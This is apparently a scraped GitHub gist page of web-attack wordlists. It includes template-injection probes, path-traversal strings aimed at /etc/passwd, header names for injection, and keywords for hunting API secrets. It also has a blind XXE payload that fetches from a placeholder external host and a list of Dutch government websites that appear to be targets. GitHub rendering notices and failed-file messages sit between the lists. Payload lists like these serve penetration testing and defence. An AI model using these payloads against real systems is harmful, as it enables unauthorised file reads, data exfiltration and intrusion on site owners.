This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
check-ssti{{7*7}}[[1*1]] | |
check-ssti{{7*7}} | |
check-ssti{{7*'7'}} | |
check-ssti<%= 7 * 7 %> | |
check-ssti${7*7} | |
check-ssti${{7*7}} | |
check-ssti@(7*7) | |
check-ssti#{7*7} | |
check-ssti#{ 7 * 7 } | |
{"mode":"full","isActive":false} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/etc/passwd | |
../../../../../../../../../../../../../../../../../../../../../../etc/passwd | |
../../../../../../../../../../../../../../../../../../../../../etc/passwd | |
../../../../../../../../../../../../../../../../../../../../etc/passwd | |
../../../../../../../../../../../../../../../../../../../etc/passwd | |
../../../../../../../../../../../../../../../../../../etc/passwd | |
../../../../../../../../../../../../../../../../../etc/passwd | |
../../../../../../../../../../../../../../../../etc/passwd | |
../../../../../../../../../../../../../../../etc/passwd | |
../../../../../../../../../../../../../../etc/passwd |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
X-Forwarded-For: | |
X-Originally-Forwarded-For: | |
X-Originating-Ip: | |
X-Originating: | |
True-Client-IP: | |
Referer: | |
X-WAP-Profile: | |
Host: | |
From: | |
X-Original-URL: http:// |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
api_secret | |
api_key | |
“api keys” | |
authorization_bearer: | |
oauth | |
auth | |
authentication | |
client_secret | |
api_token: | |
“api token” |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
http://www.rijksoverheid.nl | |
http://www.rivm.nl | |
http://coronadashboard.rijksoverheid.nl | |
http://www.nederlandwereldwijd.nl | |
http://www.government.nl | |
http://lci.rivm.nl | |
http://www.rvo.nl | |
http://www.defensie.nl | |
http://www.werkenvoornederland.nl | |
http://www.rijkswaterstaat.nl |
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-------------------------------------------------------------- | |
Vanilla, used to verify outbound xxe or blind xxe | |
-------------------------------------------------------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
]> | |
<r>&sp;</r> |